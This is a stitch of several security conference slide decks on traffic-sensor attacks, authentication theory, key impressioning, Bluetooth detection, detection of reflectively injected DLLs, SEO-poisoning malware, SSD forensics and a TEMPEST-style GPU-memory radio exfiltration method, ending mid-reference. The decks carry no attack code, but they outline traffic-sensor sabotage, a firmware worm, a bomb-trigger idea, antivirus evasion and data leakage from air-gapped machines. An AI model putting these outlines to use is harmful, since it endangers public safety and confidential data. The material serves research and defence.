+200,000 sensors and ? repeaters worldwide that could be compromised and maybe bricked • Traffic jams at intersections, at ramps and freeways – Rest in green (exceeds max. green time), Red rest (all red until detection), flashing, wrong speed limit display, etc. • Accidents, even deadly ones by cars crash or by traffic blocking ambulances, fire fighters, police cars, etc. • US DOT Federal Highway Administration (Traffic Detector Handbook): “…sensor  malfunctions  and  associated  signal  failures  increase   motorists’  time  and  delay,  maintenance  costs,  accidents,  and   liability.” IOActive, Inc. Copyright ©2014. All Rights Reserved. Onsite Passive Testing • Made AP portable – USB powered instead of PoE with USB battery charger – WiFi portable router battery powered, connect notebook to AP by WiFi • Put AP in my backpack and went to Seattle, NY, and Washington DC – Took out notebook and start sniffing around in the sidewalk while pointing my backpack in the right directions – Saw some spooks at DC but got no problems – Video IOActive, Inc. Copyright ©2014. All Rights Reserved. Attacks • DoS – Disabling sensors/repeaters by changing configuration or firmware – Making sensors/repeaters temporarily (maybe permanently) unusable by changing firmware – Flooding AP with fake packets • Fake traffic detection data – Send lots of car detections when there is no traffic – Send no detection on stop bar at exit ramps – Disable sensors/repeaters and send no detection data when there is a lot of traffic IOActive, Inc. Copyright ©2014. All Rights Reserved. Attacks • Deployments easy to locate – Vendor and partners PR, presentations, etc. – Cities traffic department documents, news, etc. – Cities approved vendors, RFP, documents, etc. – Google Street View • Need to be a maximum 1000 feet away from devices – Attacker onsite - Demo – Attaching attack device with GPS to buses, taxis, cars, etc. – Attacking from the sky: drones (drones on demand?) - Demo IOActive, Inc. Copyright ©2014. All Rights Reserved. Attacks • Sensor malicious firmware update worm – Compromise one sensor with malicious firmware and it can replicate later on other sensors – Impossible to know if there are already compromised sensors since firmware version is returned by firmware itself • NSA/Gov/Special Forces/terrorist/etc. style attacks – Locate persons in real time, hack smartphone, launch attack – Use sensor car identification data to trigger bomb when car target is near, no need to track car, just sniff sensor wireless packet (Cadillac One fingerprint?) IOActive, Inc. Copyright ©2014. All Rights Reserved. Conclusions • Any third world guy can easily get devices used by U.S. critical infrastructure, hack them, and then attack the U.S. • Anyone can build a $100 device to cause traffic problems in most important cities in U.S. and other large cities around the world. • Critical infrastructure related technologies should be properly audited to make certain that they are secure before use • Smart cities are not so smart when the data that feeds them is blindly trusted and easily manipulated • Cyberwar is cheap IOActive, Inc. Copyright ©2014. All Rights Reserved. Headline + Image IOActive, Inc. Copyright ©2014. All Rights Reserved. Fin • “Battles  can  be  won  being  smart  not  just  with  a  great  attack   power. We need to focus more on ideas, on innovation, trying to  do  things  in  different  ways  as  hackers  usually  do” • Questions? • Gracias. • E-mail: [email protected] • twitter: @cesarcer IOActive, Inc. Copyright ©2014. All Rights Reserved. Disclaimer • All images are copyright to their respective owners. • Images 1,2,3,4,7,8,9,10,11,12,13,14,15,16,17 source: Sensys Networks® • Image 18 source: Texas Instruments® • Image 20, 21 source: Street View- Googe® Maps
pdf
The core problem with authentication and how we can overcome it Jason M. Pittman   We’re goin’ deep, son!   Deep philosophically that is…   Tools, who needs ‘em   8.75 of 10 zombies do recommend brains anyway…   Modern (current) authentication   Passwords specifically   Extends to all types however   Current authentication research   The theoretical flaws   Examples   Future Authentication   One authentication to rule them all   Theoretical implementation   Examples   Possible security threats in this future   Research questions:   Why is modern authentication full of fail?   Why aren’t researchers addressing this?   Research purpose & goals   Develop a theoretical approach for future authentication   Authentication is ubiquitous   Authentication is integrated into modern, digital life   The Singularity may be near…   Or it might not and we still need to address the core problem Authentication Today Authentication Primer   Authentication is:   Something you know   Something you have   Something you are   Something + Something   And maybe + another Something   Ask yourself, is there a (a priori) difference between all these?   Passwords are the best example   High Usage (user base)   High Penetration (most common form of authentication)   Easy to conceptualize   Keep in mind – what we’re going to talk about applies to ALL forms of authentication!   How long have computing systems relied on authentication, specifically passwords?   1961 – MIT CTSS   1978 – Morris invents crypt(3)   Two trend defining moments:   Transition from single user systems to networked operating systems   Explosion of authentication as a consequence of the Web 2.0/Digital era.   How many of us have more than 1 password?   More than 3 passwords? Hands?   More than 5 passwords? Hands?   More than 9 passwords? Hands?   SafeNet/Rainbow Technologies Survey (2003) says:   1 -2 passwords 17.7%   3-4 passwords 34.4%   5-6 passwords 18.4%   7-8 passwords 5.6%   8 or more 23.9%   Florencio & Herley (2007) demonstrated that users type a password ~8 times a day   The same users retain ~6.5 passwords.   Each password is shared between 3-4 accounts.   2003 – 3.5 passwords   2007 – 6.5 passwords   2011 – ?   Pittman’s Law of Passwords   The number of passwords per user will roughly double every four years. Failtistics 101   80% of users want something other than passwords (Infosecurity Europe Survey, April 2004)   Largest perceived threats are (TriCipher Survey, 27 July 2005):   Keyloggers (35%), Password Sharing (26%), and Phishing (12%)   Over 43% of security breaches related to authentication (Camelot Network Security & Privacy Study, 25 June 2001)   Approx 60% of attacks related to authentication (The State of IT Security, July 2003)   Etc…   The majority of recent compromises either started from authentication or resulted in disclosure of authentication data   HBGary   RSA   InfraGard   Etc. Let’s get this straight…   Passwords are the most prevalent form of authentication   Passwords are responsible for or related to a majority of security breaches   Users hate them   We (researchers and professionals) keep telling users and ourselves to make even more passwords! Welcome aboard the… The Problem   Current authentication (passwords) are indirect forms of identify assertion   Software is making the identity assertion on behalf of the user   The system or application authenticating the user has indirect knowledge of the user’s true identity   Modern authentication uses or relies on an indirection assertion of identity   You need to confirm the identity of your partner/friend/parent when:   You cannot see them   Voice harmonics are normalized   You cannot touch them   What if you’re in the middle of two people that need to assert identity?   Cognitive passwords (Allendoerfer &Pai, 2005)   Proactive passwords (Vu, et al, 2007)   Visual/Graphical passwords (Renaud& De Angeli, 2009). Is new research effective?   Just new ways of doing the same thing   Most/All ease the cognitive burden of authentication   None address the fundamental flaw in authentication design   Pittman’s Rule of Authentication:   Any authentication that abstracts (biological) identity is full of fail.   Tokens, PKI, Multifactor, Federated, etc.   Yep…   What about biometrics? Surely I can’t be serious?   Fingerprints as an example   Is software telling a system about your print?   Or is your print telling a system?   Threats focus on the software middleman   E.g., Keyloggers   Threats exploit the bad philosophy   The software middleman has no capability to control   Authentication was an afterthought   The systems came first, then we had authentication   The essential model has sprawled   We keep changing the paint but we haven’t thought about a better house   We blame users, not our philosophy   The point is to understand the core philosophical flaw   We don’t want to:   Perpetuate authentication sprawl   Repeat the mistake when we have a chance to avoid repetition The Future of Authentication Where do we need to go?   Start thinking 20, 30, 40 years out, right now.   Kurzweil (and Vinge!) might be wrong but they’re definitely right.   That is, we might not have uploaded consciousness   We definitely have exponential growth in technology Consequences of the Singularity   Full Transhumanism   How are we going to authenticate (bi- directionally):   Immersive Nanotech   Our machine “housing”   Other’s nanotech & “housing”   Sentient machines Consequences of the Singularity   Partial Transhumanism   How are we going to authenticate (bi- directionally):   Semi-sentient machines (e.g., the digital analogue for protists or bacteria)   Genetically engineered material?   Non-immersive nanotech   Direct assertion authentication   Remove the middleware   Requires direct interface between humans and computing systems/applications   Let’s take a classic shibboleth example   WWII – lollapalooza (Stimpson, 1985)   Also WWII – “thunder”, “lightning”   Mash-up with biological or bio- physiological “signature” Direct Assertion Authentication - Examples   The Matrix – two forms of direct assertion are observed:   Machines authenticated users via direct neural interfacing   Key point: access to the Matrix is direct; there is no middleman software   Humans (Zion) authenticated the Matrix “visually” across their broadcast uplinks   The déjà vu scene Direct Assertion Authentication - Examples   Surrogates – again, two forms of direct assertion authentication   The bio-physiological interface between user and robotic avatar   We infer there is no authentication between user and the interface sleds   The “visual” authentication between avatars   Robots are simulacra of the human operators   Short answer: no   We know how to create the technology   Intendix, Emotiv, etc.   Future research needs to focus on creating systems & applications that accept Direct Assertion   Threats will focus on the point of interface   Imagine a type of keylogger that capture bioinformation   Threats will exploit biological vulnerabilities   Art that imitates life (e.g., malware today) will come back to imitate art.   Don’t be shy!   Email me:   [email protected] References All surveys available: www.passwordresearch.com/stats/statindex.html Allendoerfer, K., & Pai, S. (2006). Human factors considerations for passwords and other user identification techniques part 2: Field study, results and analysis (DOT/FAA/CT-06/09). Atlantic City International Airport, NJ: Federal Aviation Administration William J. Hughes Technical Center. Florencio, D., & Herley, C. (2007) A large-scale study of web password habits. In Proceedings of the 16th international conference on the World Wide Web. 657-666. Karen, R., & De Angeli, D. (2009). Visual passwords: cure-all or snake-oil? Commun. ACM 52 (12): 135-140. Stimpson, G. (1985). Book about a thousand things. Century Bookbindery. Vu, K., Proctor, R., Bhargav-Spantzel, A., Tai, B., Cook, J., & Schultz, E. E. (2007). Improving password security and memorability to protect personal and organizational information. International Journal of Human-Computer Studies, 65. 744–757.
pdf
DefCon 19 august 4th-7th, 2011 Rio Hotel, Las Vegas Key Impressioning (working title, I guess there’s still time to change this?) Jos Weyers H. Edward Tickel Jr. FBI’s go-to NDE guy in the late 70’s http://www.tresoroeffnung.de/buch.php THE #1 reference work Impressioning by Oliver Diederichsen How long can I stand in front of your server room without being questioned? 2 seconds? one minute? ten? Two seconds, twice a day, for about a week? Demo… 2006 5:35 2007 5:19 2008 5:32 2009 4:23 2009 1:27 2010 0:57 2011 1:23 Series1 0 50 100 150 200 250 300 350 1 2 3 4 5 6 Series1 KJS tool by Jord Knaap Want more ?   Books   Impressioning by Oliver Diederichsen (www.tresoroeffnung.de)   Practical Lockpicking by Deviant Ollam   High Security Mechanical Locks by Graham Pulford   Locks, Safes, & Security by Marc Tobias   Videos Online   YouTube & Google   http://connect.waag.org/toool   http://deviating.net/lockpicking/videos   Other Informative Sites   http://toool.nl   http://toool.us   http://blackbag.nl   http://deviating.net/lockpicking   http://lockpicking101.com   http://security.org   http://stormlockpicks.com   http://openlocksport.com   http://securitysnobs.com Thanks to: Deviant Ollam lock animations Barry Wels pictures from blackbag.nl Oliver Diederichsen excerpts from his book Jord Knaap KJS tool Encore: impressioning visually step-by-step Uncut key Key after the KJS treatment cut to the 1-1-1-1-1 position mark on position 2 (begin counting at shoulder) Close-up of mark (reflection) 12112 (after jiggle) mark distorts reflection on position 2 13112 again a mark on position 2 14112 yet again position 2 different angle (the dark spot) the key does turn, but only with force tiny mark on position 5 And a big crater-mark on position 2 same mark, different angle again same mark yet again … (can you tell, I like crater-marks?) like, really like them working key same key, cleaned up (code 15112)
pdf
Real-time Bluetooth Device Detection with Blue Hydra Granolocks Zero_Chaos ● Pwnie Express ● Focused on device detection ● Enjoys long walks in the woods ● Travel to exotic locations ● Draws pretty weird pictures ● Existential AF ● Hacking the planet ● Gives great back rubs Granolocks Narcissus Zero_Chaos Narcissus ● Eagle Scout ● Open{Zaurus,Embedded,wrt} Maintainer ● Aircrack-ng Developer − Injection/Drivers, airmon-zc ● Pentoo Linux Developer ● Gentoo Linux Developer ● Random Hacker of ARMs ● Husband & Father ● Random Association of Wireless Researchers (RAWR) − Defcon/Shmoocon/etc Wireless CTF ● Far too easily entertained ● Not a lawyer What is Bluetooth ● Cheap ● Cable replacement ● Frequency Hopping Spread Spectrum ● No monitor mode :-( ● Class − Class 1 100mW (high power devices, Sena dongle) − Class 2 10mW (phone / most laptops) − Class 3 1mW Bluetooth Waterfall Bluetooth Classic ● Discoverable ● Non-discoverable ● Pairing Bluetooth Low Energy ● General Discoverability ● Limited Discoverability ● Non-discoverable − Yet somehow still advertises? Bluetooth Proliferation ● Random IoT ● Wearables (sales in 2015) ● Fitbit 21 million ● Xiaomi 12 million ● Apple 11.6 million ● Garmin 3.3 million ● Samsung 3.1 million ● Others 27 million ● Total 78.1 million ● *Source: IDC Worldwide Quarterly Wearable Device Tracker, February 23, 2016 Prior Art - Cracking ● Redfang ● Btcrack ● Crackle − Le pin cracker ● Bluesnarfer − Phonebook dumping from old phones Prior Art - Discovery ● Bluelog − Discoverable classic mode only − No le support − Mostly a logger ● Btscanner − Discoverable classic mode only − No le support − Unmaintained − Neat gui Useful Tools ● Bluez - Useful documentation and examples ● hciconfig ● hcitool − Only discoverable classic devices − Lescan works but hard to parse − outdated ● Test-scripts bluez-test discovery − Easy to modify − Shows classic and le − Hides some le devices − Teaches us how to talk to the bluetooth card − Only sees “discoverable” devices Ubertooth ● Ubertooth-scan ● Ubertooth-rx − Ubertooth-rx -z Blue Hydra - Goals ● Like airodump-ng and btscanner ● Support btle ● Find as many devices as possible ● Database backend ● Minimal direct hardware interfacing - for now :) ● Not interested in cracking/brute forcing Blue Hydra design logic ● Languages used (by volume): − Ruby, Bash, Python ● Build on top of existing tools − Rapid development − Modify as needed − Minimize need to interact directly with hardware ● Run threads for each discrete task ● Unify into a processing thread btmon ● Bluez btmon ● Monitor raw hci info passing between system and adapter ● Reasonably Parseable ● Receive info from many different tool commands in one place ● Monitor one or many bluetooth dongles btmon Threads ● Execute and filter ● Batch messages by devices ● Parse message batches Bluetooth Discovery Thread ● Interaction Point with bluetooth device ● Fed commands from a queue ● Run classic discovery (bin/test-discovery) ● Listen for le advertisements (bin/test-discovery) ● Info from classic / le devices (hctiool) ● Test if devices are present (l2ping) Ubertooth Thread ● Runs and parses ubertooth-rx -z -t ● Bluetooth Classic non-discoverable (transmitting) ● Currently sniffing for Bluetooth Basic Rate connections ● Optional, not a replacement for required BT device Data processing thread ● Updates records ● Device Correlation −MAC −UAP/LAP (Ubertooth) physical: DE:AD:BE:EF:CA:FE ubertooth: ??:??:BE:EF:CA:FE significant: 00:00:BE:EF:CA:FE −LE Proximity ID / Major & Minor Number (ibeacon) ● Feedback Loop CUI Thread ● Command-line User Interface ● Default Behavior ● Live View of devices ● Sortable by column ● Extensible columns to support smaller devices DEMO ● Doing it live! DEMO backup DEMO backup DEMO backup Where to get it? ● https://github.com/pwnieexpress/blue_hydra ● Download, install deps, run from git checkout ● *or* ● Pentoo 2015.0 RC5 Live iso Conclusions ● Bluetooth hasn’t been looked at much in years ● Simple idea, harder than expected ● Surprising to see just how many devices are out there THANKS ● DEF CON for letting us present ● Pwnie Express for paying us to build blue hydra then turning around and letting us open source it ● Coconut Picard for helping us release this code as BSD ● Ubertooth team for being awesome ● Bluez team for our first solid beating Q & A Q&A will be in room <fill in the blank> https://github.com/pwnieexpress/blue_hydra @Zero_ChaosX @granolocks
pdf
Reflective Injection Detection – RID.py Or How I slapped together some python c-types in a week to do what defensive vendors aren't incorporating into main-line products Or Bringing the Sexy Back - A defensive tool that doesn't fail quite as hard as it could Pre-talk notes ● I don't own any of the artwork. It's all from google-images without copyright notices. ● I think fault lies on both sides of the fence. ● My statements here don't reflect my past, present, or future employer's point of view. Some thinks were inserted merely for humor. Who Am I? This page intentionally left blank Who Am I? On a more serious note: You can check out my CV here on linkedin: pub/andrew-king/23/432/679 Just a note, defense is first offense is last Why would I do a talk that's going to make people angry? Reflective Injection? ● Load DLL from memory ● VirtualAlloc or Ex ● No heap(might fragment) Defense ● Programmers are lazy – Not just defensive programmers ● So there's probably very little 'request specific and check' going on ● Memory address allocations tend to be pretty predictable ● Possible optimization for scanning Offense ● So what if they start looking for our PE mapping code? ● Just do the expansion on disk with some utility and now all that relocation code isn't needed. ● Vendors would rather search for reflect inject stager code I think... ● See some AV detects my obfuscation tutorial as malicious even though it prints hello... Fail Why does it still work? ● Can we detect it at runtime? ● Only if we monitor VirtualAllocEx which seems really doubtful since all memory allocations eventually wind up there. ● Why it's not implemented in my opinion. ● Can we scan memory for it? ● Sure, that's easy. Defense side of things Finding reflect injected DLLs ● What does a DLL structurally have that raw data doesn't? ● PE header ● COFF headers ● Section tables ● Permissions ● Predictable layout So first build a white-list ● Get all processes ● Get modules for all processes ● Build an exclusion map for yourself VirtualQueryEx ● Find all allocated memory pages and save all the data about them. ● You never know, you might need it later Process of elimination ● Eliminate all known legitimate pages ● Eliminate Thread areas ● There are more criteria I use to eliminate...go back to those things I said you might need later ReadProcessMemory ● Find the data in the relevant sections... ● Check for suspicious structures ● Check for fishy permissions ● Could check only probable allocation space...we're talking about shellcode here So now that we found it ● What to do about it? ● Just flip access permissions so threads die when they try and execute there ● Suspend threads found to be operating in that area ● Dump the DLL ● Reverse the relocations ● Give it to your trusty old AV Okay so that was easy, and not altogether new People aren't doing it, but you never know... Offense side of things Offense side of things ● So how could we beat this? ● Load a large-ish DLL into memory that the process probably isn't going to use ● Carve it out and do some reflective injection into a targeted area. Why don't more developers open source? ● Because people like this don't donate: Demo But then... ● Yes then A/V vendors would see your code. ● SO, you might want to think about run-time obfuscation ● Like I was talking about almost a year ago... Conclusion ● Both sides of the fence on this one. ● Can it be halted/slowed down? – Sure ● Why isn't it? – It's kind of processor intensive to catch quickly. – Releasing some code. – You'll want to shim in the nice-ing up the processor bit It's not pretty, but it works. ● Only tested on x86 ● Doesn't have all the features that may be available in the dev train ● Yes, it's python with Ctypes – I have a C port. It's much easier on memory, but much slower...I used lists instead of C++ maps. The other code ● I stripped out all the lists of possible structures and put in a basic regex for metasploit shellcode instead of section offsets ● I couldn't really in good conscience put a fully weaponized thing out there What else am I working on? ● Interesting things with python obfuscation ● Shout outs ● Thanks Questions? ● Yes, I'll be around
pdf
Searching for Malware: A Review of Attackers’ Use of Search Engines to Lure Victims Paul Judge David Maynor The Problem Sites like Twitter, Yahoo!, Bing and Google all  have some form of popular/trending search  terms. These terms can be co‐opted by markets and  malware authors to point to their own wares. The sites can be used for spam, drive‐by  malware installs and phishing. DEMO:  Examples of current terms and sites that have  fallen prey to SEO poisoning. How They Do It A brief overview and example of previous term  hijacking techniques. Current ways to find the terms. Flooding Web sites and social networks with  specific terms and links. And…We have malware! DEMO:  A successful SEO poison. How It’s Detected Lists, Lists and more lists White Lists Black Lists SPAM Lists Vendor Proprietary Databases  These don’t always wor Average time between infection and a URL  showing up on a list could be days at best,  weeks at worst. DEMO:  List lag Code analysis (All these sites have something in  common; they are trying to hide their true  intention.) Code analysis of the Webpage including any  JavaScript found can reliable detect a  “suspicious” site DEMO:  JavaScript analysis of a bad site Correlation How to tie this all together Gaps in coverage: How can the bad guys still slip through? Future of Search Engine Malware Attacker Countermeasures Better Obfuscation Using botnets and social networks to create an  instant credible account More targeted attacks: spear phishing for SEO  poisoning How Search Engines should respond – interactive discussion THANK YOU! http://www.barracudalabs.com/
pdf
Sentient Storage: Do SSDs have a mind of their own? Tom Kopchak :: @tomkopchak About me Why we're here • Current forensic practices for working with hard drives are well-defined • Solid state drives behave differently and present new challenges • This presentation will explore these differences in detail Forensics: Traditional Hard Drives What do we already know? Data deleted on a traditional hard drive is not truly deleted and can often be recovered quite easily What do we already know? Quick formatting a hard drive doesn't actually delete or purge data from the drive What do we already know? In order for data to be deleted from a traditional hard drive, it must be completely overwritten at least once What do we already know? Traditional hard drives do not manipulate or optimize incoming data What do we already know? Traditional hard drives do not change the physical location of a block of data independently of the operating system What do we already know? These behaviors are consistent across all traditional hard drives, regardless of manufacturer, capacity, or firmware revision Solid State Drives change all of this Let's talk about flash memory • Flash memory is where data is stored on a solid state drive • An SSD will be composed of a number of flash memory chips to reach its desired capacity • The drive controller is the glue that holds all of this together • Commonly referred to as the Flash Translation Layer (FTL) Drive Types Compared Physical Flash Architecture • There are different types of flash memory - single level cell (SLC) and multi-level cell (MLC) • SLC - one bit per cell: 0 or 1 • MLC - two bits per cell: 00, 01, 10, or 11 • A blank cell is represented in all 1s Physical Flash Architecture • Pages are the smallest addressable unit in a flash memory cell • Pages cannot be overwritten, due to the fact that erasing them might modify adjacent cells in a block • Only entire blocks are erased at a time Erasing Flash Blocks • When data is deleted, the blocks containing this data are marked as invalid • They cannot be reused without first being reset/ erased • Erasing a block of flash memory is expensive in terms of electrical current and time Flash Wear • Flash cells have a finite number of write/erase cycles • Wear can be uneven, e.g., some files are written more frequently than others • This is managed by the drive controller Drive Controllers • Controllers are the heart of an SSD • From the perspective of the operating system and user, SSDs perform the same function as a hard drive • Drive controllers handle managing, reading, and writing flash cells • Controllers also manage erasing flash cells and leveling of flash memory wear Drive Controllers • There are many different controllers manufactured • Individual firmware revisions also exhibit different behavior • Some controllers also include additional optimizations, such as deduplication of incoming data • Most drives perform garbage collection to recycle flash blocks as data is deleted from the drive - but how do they know? • Periods of read/write are relatively infrequent • Idle time is ideal for performing operations to optimize drive behavior and performance (garbage collection and wear leveling) Garbage Collection TRIM • ATA command for notifying the SSD of deleted pages • Frequently accelerates the garbage collection process In general: SSDs behave more like an enterprise SAN or RAID array than simply a hard drive Forensic Implications? • How do we determine if solid state drives impact forensics process? • Can SSDs be treated by investigators like standard hard drives or do procedures need to change? Previous research The research • Represents one of the most comprehensive studies of the recoverability of deleted files on SSDs to date • Eleven different two-part tests conducted across a pool of seven drives, exploring how subtle differences impact the likelihood of deleted file recovery Purpose • Comprehensively study the impact of solid state drives on the forensics data acquisition and investigation process • Focus on the impact of these drives on current forensics practices involving deleted file recovery • Determine if traditional forensics approaches are sufficient for recovering deleted files from a solid state drive Experimental design • Tests built on each other • Designed to use the smallest possible changes incrementally to trigger differences in drive behavior • Each test - two parts • Deleted file test • Quick format test Types of tests • All tests isolated variables • TRIM state (as a result of OS configuration or support, or interface support) • Number of files present (single file versus multiple) • Files deleted over a period of time Sample Drives • Seven total drives - six SSDs and one control hard drive • Seagate control hard drive • SSDs: Crucial, Intel, OCZ, Patriot, Samsung, SuperTalent • SSDs were selected for a variety of factors Forensics Lab • Dedicated evidence creation and evidence collection machines • Test drives did not run the operating system to minimize variables • Open source tools (Caine Linux) used wherever possible • Evidence collected using forensics writeblocker Sample test • Experiment: write a single image file to disk, unmount the disk to ensure it is not cached, then delete the file and attempt recovery • Expected results: file is recoverable • Actual results: file is not always recoverable • Why? Sample test - part 2 • Experiment: quick format of drives from previous test, followed by a recovery attempt (including file carving) • Expected results: file is recoverable • Results: file is not always recoverable • Why? Patterns observed • All files recoverable from control drive nearly every time • Significant differences in SSD behavior • Some behave very similarly to control drive • Others offer very low recoverability Factors impacting recoverability Drive firmware behavior and controller Factors impacting recoverability TRIM State - On and Off File deletion recoverability Quick format recoverability fig 9 0 2 4 6 8 10 12 Successful File Recoveries General observations • Solid state drives cannot be considered to behave identically to a traditional hard drive from a forensics perspective • Deleted file recoverability varies significantly • Several factors can be used to gauge the likelihood of successful file recovery Contributions • This research may be referenced when attempting to recover a deleted file from an SSD to help understand the possibility for successful recovery • Similar tests can be run on new drive models and/ or different firmware revisions to determine likelihood of recoverability • Impact of TRIM command on current forensics techniques is clearly demonstrated Conclusions • Forensics investigators must be acutely aware of drive differences when collecting evidence from these drives • SSDs negatively impact the likelihood of deleted file recovery • Forensics practices must change to adapt to these different behaviors Future Work Acknowledgements: Dr. Yin Pan, RIT
 Dr. Sumita Mishra, RIT Prof. Bill Stackpole, RIT
 Bill Mathews, Hurricane Labs Questions? Contact Info: [email protected] | @tomkopchak hurricanelabs.com | @hurricanelabs
pdf
Paz Hameiri TEMPEST radio station About myself ◼ System engineer ◼ M.Sc. in Electro-Optical Engineering ◼ Six years of experience with telecommunication systems design and circuits DEF CON 25 / Inbar and Eden / From "One Country - One Floppy" to "Startup Nation" - the story of the early days of the Israeli hacking community, and the journey towards today's vibrant startup scene ◼ Wrote “The Message Sticker” when I was a teenager About TEMPEST ◼ TEMPEST is a U.S. NSA specification and a NATO certification ◼ The acronym refers to information leakage from a system through unintentional radio signals, audio signals, electrical signals, etc ◼ In 1985, Wim van Eck published the first unclassified analysis of the security risks of information leakage from computer monitors ◼ Government researchers were already aware of the danger TEMPEST radio station ?!?! ◼ I read “TEMPEST@Home - Finding Radio Frequency Side Channels” by Davidov & Oldenburg ◼ I bought an SDR receiver and studied the electromagnetic emissions generated by my laptop ◼ I wondered: ◼ How far can I transmit data using these emissions? ◼ Is it possible to transmit audio in real-time? ◼ How hard can it be? TEMPEST radio goals ◼ Tunable frequency: ◼ Receive signals from a specific computer when several computers in the area are active ◼ Select a bandwidth with as little interference as possible, to improve the signal to noise ratio ◼ Maximum bit rate, to maximize audio quality ◼ Innocent looking software, to avoid detection ◼ Maximum distance Radio waves crash course ◼ Transmission: Electromagnetic radiation is propagated from a conducting object, conducting time-varying electric current ◼ Reception: Electromagnetic radiation around a conducting object generate time-varying electric current Conductor i On-Off Keying crash course ◼ On-Off Keying (OOK) data modulation represents digital data as the presence or absence of a transmitted wave ◼ Example: Morse code time Energy Symbol n Symbol n+1 Symbol n+2 Data transmission using GDDR 1 ◼ The GPU performs memory read and write operations by operating the control and data lines GDDR6 timing diagram: Data WCK CA CK f (e.g. 1.5GHz) 2f (e.g. 3.0GHz) 4f (e.g. 6.0GHz) 8f (e.g. 12.0GHz) Data transmission using GDDR 2 ◼ Electromagnetic radiation is emitted when the control and data lines are active ◼ Data transmission is made by doing memory transfers: ◼ A single symbol is transmitted during a single memory transfer ◼ The number of bytes transferred at each memory transfer is predefined for each symbol time Energy Symbol n Symbol n+1 Symbol n+2 Data transmission using GDDR 3 Symbol duration  Symbol byte count ◼ Symbol duration [time] = (Symbol value + 1 ) * Time constant ◼ Symbol transfer size [bytes] = (Symbol value + 1 ) * Bytes constant ◼ Bytes constant = Amount of bytes required to perform a single memory transfer during a time period defined by the time constant Data transmission using GDDR 4 time Energy Symbol n Symbol n+1 Symbol n+2 time Energy Symbol value = 5 Symbol value = 3 Symbol value = 8 Time constant Why using the GDDR SDRAM ? ◼ Tunable frequency ◼ Time deterministic data transfers ◼ Mostly idle when the GPU is not in use Meet Scotty Scotty’s tasks ◼ Measuring the time required to perform large GPU memory transfers ◼ Calculating the bytes constant for a predefined time constant ◼ Setting GDDR memory clock frequency ◼ Loading a WAV file ◼ Transmitting 8000 audio PCM samples every second During a one second interval ◼ Encoding 8000 audio PCM samples ◼ Bundling data into packets according to a protocol: ◼ Header bytes ◼ Reed-Solomon forward error correction parity bytes ◼ Audio packets counter byte ◼ G.726 encoded audio bytes ◼ Audio data checksum bytes ◼ Transmitting each packet, symbol by symbol ◼ When all 8000 samples have been transmitted, the software stops and waits for the one-second interval to elapse Radio setup Scotty Antenna LNA SDR Spock Target signal: GDDR6 CK 50 feet away from the source computer Frequency [MHz] |Power| [dB] Meet Spock Spock’s tasks 1 ◼ Setting up the SDR receiver ◼ Receiving cyclic batches of samples from the SDR receiver ◼ Calculating the absolute amplitude of the samples ◼ Filtering the data with a low pass filter ◼ Calculating amplitude thresholds to recover the symbols from the filtered data ◼ Recovering the symbols using the calculated amplitude thresholds and a minimum time threshold (to filter short-term noise). ◼ Saving the length of each symbol in a buffer Samples to symbols 4.00E-05 2.40E-04 4.40E-04 6.40E-04 8.40E-04 1.04E-03 1.24E-03 1.44E-03 |A| Time [sec] 4.00E-05 2.40E-04 4.40E-04 6.40E-04 8.40E-04 1.04E-03 1.24E-03 1.44E-03 Filtered |A| Time [sec] 0 1 4.00E-05 2.40E-04 4.40E-04 6.40E-04 8.40E-04 1.04E-03 1.24E-03 1.44E-03 Recovered Symbols Time [sec] Spock’s tasks 2 ◼ Finding the header symbols ◼ Recovering the data packet from the symbols ◼ Using forward error correction decoding to correct errors ◼ Verifying packet validity ◼ Decoding the audio using a G.726 decoder ◼ Storing the PCM samples in a buffer ◼ Filling zeros for missing packets ◼ Playing the audio Tests setup 1 ◼ Time constant = 14 µsec ◼ Data packet structure: ◼ 4 header bytes ◼ 20 Reed-Solomon forward error correction parity bytes ◼ 1 audio packets counter byte ◼ 63 G.726 encoded audio bytes, 2 bits per PCM sample ◼ 2 audio data checksum bytes ◼ 4 bits per symbol Tests setup 2 Computer GPU GDDR Processor RAM Laptop GTX 1660 Ti 6GB GDDR6 i7-9750H 16GB Desktop GTX 1650 Super 4GB GDDR6 i7-6700K 16GB Tests setup 3 50 feet apart Tests setup 4 50 feet apart Tests video clip 1 Tests results 1 Computer Average bit rate [kbit/s] Valid packets received with the monitor turned on [%] Valid packets received with the monitor turned off [%] Laptop 26 > 99 Irrelevant Desktop 23 89.5 > 99 Improve audio quality ◼ Tests showed that the desktop computer emitted signals which Scotty did not generate ◼ The computer stops transmitting these signals once the monitor is turned off by the Windows power plan ◼ When the monitor is off higher bit rate can be achieved ◼ Maximum audio quality setup: ◼ Time constant = 8 µsec ◼ 4 Reed-Solomon forward error correction parity bytes ◼ G.726 encoder: 3 bits per PCM sample Tests video clip 2 Tests results 2 Computer Average bit rate [kbit/s] Valid packets received with the monitor turned on [%] Valid packets received with the monitor turned off [%] Laptop 33 > 99 Irrelevant Desktop 30 Low > 99 Multiple emissions per operation ◼ During every memory operation, electromagnetic waves are emitted at multiple frequencies GDDR6 timing diagram: Data WCK CA CK f (e.g. 1.5GHz) 2f (e.g. 3.0GHz) 4f (e.g. 6.0GHz) 8f (e.g. 12.0GHz) Target signal: GDDR6 CK / 2 Frequency [MHz] |Power| [dB] Laptop, close range, without the LNA, CK = 1461.25MHz Spock at CK/2 Laptop, close range, without the LNA, CK = 1461.25MHz Fun conclusions ◼ It works ◼ The apartment is too small for the range tests ◼ I’ve made a jingle: "yeah fly high baby yeah" by oddsock is licensed under CC BY 2.0 Alarming conclusions ◼ Timed memory transfers are easy to produce ◼ The method can be used to silently leak data as well ◼ The method can be used to leak audio and data out of air-gapped computers ◼ Especially during non-working hours: ◼ No supervision ◼ The monitor can be turned off to achieve maximum bit rate ◼ The attacker can select the time of the transmissions Examples of usage ◼ This data extraction method is not supervised by anti-virus software, firewalls, port monitoring software, etc. ◼ The technique might be used for: ◼ Extracting confidential plans and designs from internal networks ◼ Extracting confidential files from executives in the company one works for ◼ Extracting data from colleges who work on confidential projects Thank you ◼ Source code: ◼ https://github.com/TEMPESTRadioStation/Scotty ◼ https://github.com/TEMPESTRadioStation/Spock Thank you ◼ References: ◼ Davidov, M., Oldenburg, B., “TEMPEST@Home - Finding Radio Frequency Side Channels” 2020. https://duo.com/labs/research/finding-radio-sidechannels ◼ Eck W. “Electromagnetic radiation from video display units: an eavesdropping risk?” Computers and Security, 4, no. 4: 269-286, 1985. ◼ Kuhn, M. G., and Anderson, R. J. Soft. “Tempest: Hidden Data Transmission Using Electromagnetic Emanations.” In Information Hiding (1998), ed. D. Aucsmith, vol. 1525 of Lecture Notes in Computer Science, 